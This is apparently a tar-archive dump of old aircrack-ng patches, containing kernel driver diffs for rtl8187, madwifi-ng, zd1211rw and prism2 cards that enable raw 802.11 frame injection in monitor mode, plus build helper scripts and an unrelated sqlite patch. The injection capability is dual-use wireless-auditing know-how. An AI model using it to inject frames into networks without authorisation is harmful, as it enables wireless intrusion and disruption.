+EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_orig/ieee80211/Makefile rtl8187_rawtx/ieee80211/Makefile --- rtl8187_orig/ieee80211/Makefile 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Makefile 2007-05-27 10:47:26.000000000 +0200 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_orig/ieee80211/Modules.symvers rtl8187_rawtx/ieee80211/Modules.symvers --- rtl8187_orig/ieee80211/Modules.symvers 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/Modules.symvers 1970-01-01 01:00:00.000000000 +0100 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_orig/Makefile rtl8187_rawtx/Makefile --- rtl8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/Makefile 2007-06-21 23:43:15.000000000 +0200 @@ -0,0 +1,39 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -find /lib/modules/$(shell uname -r) -name rtl8187.ko -exec mv -v {} ~/ \; + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_orig/symvers rtl8187_rawtx/symvers --- rtl8187_orig/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_rawtx/symvers 2007-05-26 10:39:22.000000000 +0200 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_orig/wlan0rmv rtl8187_rawtx/wlan0rmv --- rtl8187_orig/wlan0rmv 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/wlan0rmv 2007-06-26 16:32:43.000000000 +0200 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r1475_disable_retry_raw.patch0000644000000000000000000000710410761053203025037 0ustar rootrootdiff -Nurb madwifi-ng-r1475/ath/if_ath.c patched_madwifi-ng-r1475/ath/if_ath.c --- madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:32:54.000000000 +0100 +++ patched_madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:23:08.000000000 +0100 @@ -2171,6 +2171,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2185,9 +2186,13 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1475/net80211/ieee80211_var.h patched_madwifi-ng-r1475/net80211/ieee80211_var.h --- madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:24:48.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1475/net80211/ieee80211_wireless.c patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c --- madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:30:28.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.2-beta3/patches/old/zd1211rw_malformed.patch0000644000000000000000000000330610761053203021775 0ustar rootroot--- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-01 22:35:50.000000000 +0200 @@ -716,6 +716,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +731,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +747,12 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + if(status->frame_status & ZD_RX_OFDM) + hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm; + else + hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +844,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r3745.patch0000644000000000000000000000226311134713404021262 0ustar rootrootdiff -Naur madwifi/ath/if_ath.c madwifi_rawtx/ath/if_ath.c --- madwifi/ath/if_ath.c 2008-06-24 17:20:58.000000000 -0400 +++ madwifi_rawtx/ath/if_ath.c 2008-06-24 17:20:12.000000000 -0400 @@ -2950,6 +2950,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -2962,7 +2963,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -2986,7 +2988,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-beta3/patches/old/madwifi-ng-r3386v3.patch0000644000000000000000000000250511134713404021533 0ustar rootroot--- madwifi-ng/ath/if_ath.c 2008-03-16 20:26:53.000000000 -0400 +++ madwifi-ng_raw/ath/if_ath.c 2008-03-17 20:11:30.000000000 -0400 @@ -2875,6 +2875,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (SKB_CB(skb) + 1); /* NB: SKB_CB casts to CB struct*. */ @@ -2888,7 +2889,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try0; +// try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; @@ -2913,7 +2919,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-beta3/patches/old/zd1211rw_inject_2.6.21-gentoo.patch0000644000000000000000000001364610761053203023412 0ustar rootrootdiff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-27 18:32:21.000000000 -0400 @@ -201,7 +201,13 @@ goto disable_rx; housekeeping_enable(mac); - ieee80211softmac_start(netdev); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -834,6 +840,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -857,7 +864,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -913,7 +923,11 @@ ieee->stats.tx_dropped++; return r; } - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) { ieee->stats.tx_dropped++; return r; @@ -933,6 +947,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -946,7 +962,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -960,6 +978,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -1066,7 +1087,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); ieee->stats.rx_errors++; if (status->frame_status & ZD_RX_TIMEOUT_ERROR) diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-27 17:59:07.000000000 -0400 @@ -63,6 +63,7 @@ { USB_DEVICE(0x13b1, 0x0024), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0586, 0x340f), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x0baf, 0x0121), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, /* "Driverless" devices that need ejecting */ { USB_DEVICE(0x0ace, 0x2011), .driver_info = DEVICE_INSTALLER }, {} @@ -773,6 +774,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -ur linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.21-gentoo-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 17:23:31.000000000 -0400 +++ linux-2.6.21-gentoo-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-27 18:01:02.000000000 -0400 @@ -221,6 +221,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-beta3/patches/old/sqlite-3.5.1-lib_cygwin.diff0000644000000000000000000000115210761053203022351 0ustar rootroot--- Makefile.ori 2007-10-08 22:46:20.343750000 +0200 +++ Makefile 2007-10-08 22:49:01.953125000 +0200 @@ -726,11 +726,10 @@ mkdir -p doc mv $(DOC) doc -install: sqlite3 libsqlite3.la sqlite3.h ${HAVE_TCL:1=tcl_install} +install: libsqlite3.la sqlite3.h $(INSTALL) -d $(DESTDIR)$(libdir) $(LTINSTALL) libsqlite3.la $(DESTDIR)$(libdir) $(INSTALL) -d $(DESTDIR)$(exec_prefix)/bin - $(LTINSTALL) sqlite3 $(DESTDIR)$(exec_prefix)/bin $(INSTALL) -d $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 sqlite3.h $(DESTDIR)$(prefix)/include $(INSTALL) -m 0644 $(TOP)/src/sqlite3ext.h $(DESTDIR)$(prefix)/include aircrack-ng-1.2-beta3/patches/old/linux-wlan-0.2.3.packet.injection.patch0000644000000000000000000003106610761053203024443 0ustar rootrootdiff -ur linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c 2005-10-31 14:54:59.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c 2006-03-16 16:33:03.000000000 -0500 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -950,8 +950,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c 2005-07-20 11:07:16.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c 2006-03-17 11:03:09.000000000 -0500 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,34 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3170,9 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 0, &txdesc, sizeof(txdesc), p80211_wep->iv, sizeof(p80211_wep->iv), @@ -3586,6 +3618,17 @@ { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! 